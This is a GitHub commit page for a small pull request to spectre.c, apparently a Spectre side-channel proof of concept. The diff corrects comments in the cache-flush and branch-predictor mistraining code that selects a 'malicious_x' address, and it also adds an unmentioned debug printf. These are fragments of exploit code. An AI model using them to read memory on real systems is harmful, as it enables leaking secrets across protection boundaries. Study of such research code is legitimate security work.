Skip to content

Commit

Permalink
Merge pull request #31 from ucchiee/doc/ucchiee_1218_fix
Browse files Browse the repository at this point in the history
spectre.c: fixed some comments
  • Loading branch information
crozone authored Dec 18, 2022
2 parents 856f80f + 68db1a3 commit 2a01f86
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions spectre.c
Original file line number Diff line number Diff line change
Expand Up @@ -157,7 +157,7 @@ void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2
for (tries = 999; tries > 0; tries--) {

#ifndef NOCLFLUSH
/* Flush array2[256*(0..255)] from cache */
/* Flush array2[512*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
#else
Expand Down Expand Up @@ -188,7 +188,8 @@ void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=0xFFFFFFFFFFFF0000 if j%6==0, else x=0 */
printf("%lx\n", x);
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

Expand Down

0 comments on commit 2a01f86

Please sign in to comment.